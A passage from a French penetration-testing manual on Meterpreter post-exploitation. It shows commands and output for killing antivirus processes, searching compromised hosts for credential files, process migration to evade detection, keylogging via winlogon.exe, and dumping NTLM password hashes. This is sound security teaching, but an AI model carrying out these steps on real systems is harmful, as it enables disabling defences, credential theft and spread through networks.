Pour aller plus loin dans la post-exploitation
Introduction
La post-exploitation est une phase particulièrement importante puisqu’elle peut permettre d’aller encore plus en profondeur dans le périmètre cible (défini dans le mandat d’autorisation dans le cas d’un audit ou complètement libre dans le cas d’un attaquant).
Certaines commandes standards ainsi que les commandes de base de Meterpreter ont été expliquées précédemment. Néanmoins, Meterpreter regorge de possibilités permettant d’aller encore plus loin dans la phase de post-exploitation :
Désactivation des logiciels de sécurité
Lors de la compromission d’une machine, il n’est pas impossible que cette dernière soit équipée d’un antivirus pouvant compliquer la phase de post-exploitation. Afin de pallier ce problème, il est possible d’utiliser le script post/windows/manage/killav. En effet, ce dernier détient une liste de plus de 600 antivirus dont il va tenter de terminer le processus (kill <PID>).
Cette liste se trouve dans /usr/share/metasploit-framework/data/wordlists/ av_hips_executables.txt :
root@kali:/usr/share/metasploit-framework/data/wordlists# head
av_hips_executables.txt
emet_agent.exe
emet_service.exe
firesvc.exe
firetray.exe
hipsvc.exe
mfevtps.exe
mcafeefire.exe
scan32.exe
shstat.exe
tbmon.exe
Ainsi, le script s’exécute en lui passant uniquement en argument la session en cours, de la manière suivante :
msf6 > use post/windows/manage/killav
msf6 post(windows/manage/killav) > set SESSION 2
SESSION => 2
msf6 post(windows/manage/killav) > exploit
[*] Killing Antivirus services on the target
[*] Killing of nod32.exe
Dans le cas où le logiciel de sécurité ne se trouve pas dans le fichier av_hips_executables.txt, il est possible de réaliser ses actions manuellement grâce...
Élévation des privilèges
1. À la recherche de fichiers intéressants
À la suite de la compromission d’un système, il peut être intéressant de parcourir ce dernier à la recherche de fichiers intéressants dans le but d’élever ses privilèges, que cela soit sur la machine compromise ou sur d’autres machines du réseau.
Dans le cas où l’attaquant ne sait pas exactement où chercher, il est possible d’utiliser la commande search de Meterpreter :
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.
OPTIONS:
-d <opt> The directory/drive to begin searching from. Leave empty
to search all drives. (Default: )
-f <opt> A file pattern glob to search for. (e.g. *secret*.doc?)
-h Help Banner
-r <opt> Recursivly search sub directories. (Default: true)
meterpreter > search -f *.pdf
Found 897 results...
[...]
d:\Syngress - Stealing the Network How to Own a Shadow.pdf (9570109
bytes)
d:\Wireshark\Syngress -
Wireshark.and.Ethereal.Network.Protocol.Analyzer.Toolkit.Nov.2006.pdf
(13852555 bytes)
d:\Wireshark\Wireshark (R) 101 Essential Skills for Network
Analysis.pdf (19254979 bytes)
d:\Metasploit\Metasploit - The PenTest Guide.pdf (7237192 bytes)
d:\Metasploit\Metasploit Penetration Testing Cookbook.pdf
(5154679 bytes)
d:\Metasploit\Metasploit Toolkit for Penetration Testing.pdf
(5136941 bytes)
[...]
Néanmoins, un attaquant ayant une bonne vision de la machine cible ou du contexte peut se rendre directement vers des fichiers dans lesquels se trouvent des informations sensibles, comme les fichiers de bases de données (.sql), les fichiers de type keepass (.kdb, .kdbx), les fichiers contenant la liste des utilisateurs (/etc/passwd), des fichiers contenant des commandes précédemment exécutées (.bash_history), des clés SSH, etc.
Exemple 1
Dans le cas de la compromission suivante...
Migration de processus
À la suite d’une compromission, il peut arriver qu’il soit nécessaire de migrer le processus du Meterpreter vers un autre. Cette migration permet de :
-
cacher le processus afin de minimiser la détection de ce dernier
-
changer l’architecture du processus (32 bits vs 64 bits)
-
migrer vers un processus disposant de plus de privilèges
Une fois la compromission faite, il est possible de connaître le processus actuel (getpid), mais également d’afficher l’ensemble des processus en cours grâce à la commande ps :
meterpreter > getpid
Current pid: 5816
meterpreter > ps
Process List
============
PID PPID Name Arch Session User
Path
--- ---- ---- ---- ------- ----
----
0 0 [System Process]
4 0 System x64 0
416 4 smss.exe x64 0 AUTORITE
NT\Systeme C:\Windows\System32\smss.exe
436 800 nvSCPAPISvr.exe x86 0 AUTORITE ...
Enregistrement des frappes clavier
Maintenant que le concept de migration de processus est devenu un peu plus clair, il est à présent possible de parler d’enregistrement de frappes aussi appelé keylogging.
En effet, afin de pouvoir enregistrer les frappes clavier d’un utilisateur, un attaquant doit être en mesure de migrer vers l’un des deux processus suivant :
-
winlogon.exe afin de capturer les identifiants de connexion des utilisateurs. Afin de migrer vers ce processus, le processus initial doit appartenir à System.
-
explorer.exe afin de capturer l’ensemble des autres frappes clavier (en dehors des identifiants de connexion).
Dans ce cas de figure, le processus cible ne disposant pas de suffisamment de privilèges, la migration est effectuée vers explorer.exe :
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
140 smss.exe \SystemRoot\System32\smss.exe
188 winlogon.exe ??\C:\WINNT\system32\winlogon.exe ...
Accès à d’autres machines du réseau
Dans le cas où le périmètre des tests le permet, il est possible de tenter d’accéder à d’autres machines du réseau.
Comme vu à la section Élévation des privilèges - À la recherche de fichiers intéressants, il est possible de trouver des informations sensibles au sein de certains fichiers. Néanmoins, d’autres techniques existent.
1. Réutilisation des identifiants
Nous avons vu qu’il est possible d’obtenir les hashs des identifiants LM/NTLM grâce aux commandes hashdump et smart_hashdump de Meterpreter :
msf6 post(windows/gather/smart_hashdump) > exploit
[*] Running module against VICTIMEPC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*]
/root/.msf4/loot/20190618081455_default_192.168.0.29_windows.hashes_3
08038.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY
073e3c624e24966502b500cba1fdeb0a...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[+] Admin:"..."
[*] Dumping password hashes...
[+]
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae
931bXXXXXXXXX7e0c089c0:::
[+]
Admin:1000:aad3b435b51404eeaad3b435b51404ee:fc8c2ba9cb96533a25f8d
5a9de8a499a:::
[+]
HomeGroupUser$:1005:aad3b435b51404eeaad3b435b51404ee:3a975b7d46b6
f136506578a20ef927c0:::
[+]
domy:1007:aad3b435b51404eeaad3b435b51404ee:bd8fc596f51dbe00fee673
14719db053:::
[*] Post module execution completed
Le module auxiliary/analyze/jtr_windows_fast a également été mis en avant pour tenter de casser les mots de passe ainsi récupérés afin d’avoir leur forme en clair. Des RainbowTables pourraient également...